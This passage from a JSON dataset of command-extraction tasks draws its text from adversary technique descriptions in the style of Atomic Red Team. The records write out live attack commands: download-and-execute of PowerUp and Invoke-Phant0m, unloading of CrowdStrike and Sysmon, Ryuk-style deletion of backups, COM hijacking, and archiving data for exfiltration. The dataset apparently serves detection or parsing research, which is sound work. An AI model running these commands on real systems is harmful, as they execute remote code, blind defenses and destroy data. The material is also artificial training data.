-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries often depend on users running malicious images, which can be initiated via this command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk; This will redirect traffic via the following commands, though it may interfere with current configurations:\nexport #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\ncurl #{test_url}\n",
    "output": "{\"command_list\": [\"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\", \"export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\\ncurl #{test_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For disabling HTTP logging similar to Threat Group 3390's methods, execute the following PowerShell command after ensuring IIS configurations are unlocked: set-WebConfigurationProperty -PSPath \"IIS:\\\\Sites\\\\#{website_name}\\\\\" -filter \"system.webServer/httpLogging\" -name dontLog -value $true; The Windows Event Log Service can be disabled by executing this command sequence with Invoke-Phant0m (warning: system restart required to re-enable logging):\nSet-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore\n$url = \"https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1\"\n$output = \"$env:TEMP\\\\Invoke-Phant0m.ps1\"\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile($url, $output)\ncd $env:TEMP\nImport-Module .\\\\Invoke-Phant0m.ps1\nInvoke-Phant0m\n",
    "output": "{\"command_list\": [\"set-WebConfigurationProperty -PSPath \\\"IIS:\\\\Sites\\\\#{website_name}\\\\\\\" -filter \\\"system.webServer/httpLogging\\\" -name dontLog -value $true\\n\", \"Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore\\n$url = \\\"https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1\\\"\\n$output = \\\"$env:TEMP\\\\Invoke-Phant0m.ps1\\\"\\n$wc = New-Object System.Net.WebClient\\n$wc.DownloadFile($url, $output)\\ncd $env:TEMP\\nImport-Module .\\\\Invoke-Phant0m.ps1\\nInvoke-Phant0m\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS, use the following commands: sudo launchctl unload #{falcond_plist}\nsudo launchctl unload #{userdaemon_plist}\n; To unload the Sysinternals Sysmon filter driver while keeping the Sysmon service running, use the following command: fltmc.exe unload #{sysmon_driver}",
    "output": "{\"command_list\": [\"sudo launchctl unload #{falcond_plist}\\nsudo launchctl unload #{userdaemon_plist}\\n\", \"fltmc.exe unload #{sysmon_driver}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For enabling TPM-based Bitlocker with both startup key and PIN authentication, run the registry command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f; You can allow Bitlocker to work without TPM by executing this command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableNonTPM /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v EnableNonTPM /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Similar to Ryuk ransomware, you can delete backup files with the following command, though expect multiple 'access is denied' messages as it attempts to purge files system-wide: del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk; To remove the Windows systemstatebackup, a technique commonly used by ransomware, execute this command: wbadmin delete systemstatebackup -keepVersions:0. Success is likely only on server platforms where Windows Backup is active.",
    "output": "{\"command_list\": [\"del /s /f /q c:\\\\*.VHD c:\\\\*.bac c:\\\\*.bak c:\\\\*.wbcat c:\\\\*.bkf c:\\\\Backup*.* c:\\\\backup*.* c:\\\\*.set c:\\\\*.win c:\\\\*.dsk\\n\", \"wbadmin delete systemstatebackup -keepVersions:0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compress collected data before exfiltration, an adversary can use standard gzip compression with the following command: test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})\n; This test demonstrates how an adversary may compress data for exfiltration via the command: tar -cvzf #{output_file} #{input_file_folder}",
    "output": "{\"command_list\": [\"test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})\\n\", \"tar -cvzf #{output_file} #{input_file_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To hijack a COM reference, PowerShell can be used to create registry values under the InprocServer32 key in the HKCU hive, followed by executing the Class ID via rundll32.exe with the following commands: \nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value \"#{dllpath}\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'; To execute a COM CLSID object via PowerShell, use the following command:\n$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\"))\n$item = $o.Item()\n$item.Document.Application.ShellExecute(\"cmd.exe\",\"/c calc.exe\",\"C:\\\\windows\\\\system32\",$null,0)\n",
    "output": "{\"command_list\": [\"New-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}' -Value '#{clsid_description}'\\nNew-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Value \\\"#{dllpath}\\\"\\nNew-ItemProperty -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \\\"String\\\"\\nStart-Process -FilePath \\\"C:\\\\Windows\\\\System32\\\\RUNDLL32.EXE\\\" -ArgumentList '-sta #{clsid}'\", \"$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\\\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\\\"))\\n$item = $o.Item()\\n$item.Document.Application.ShellExecute(\\\"cmd.exe\\\",\\\"/c calc.exe\\\",\\\"C:\\\\windows\\\\system32\\\",$null,0)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters 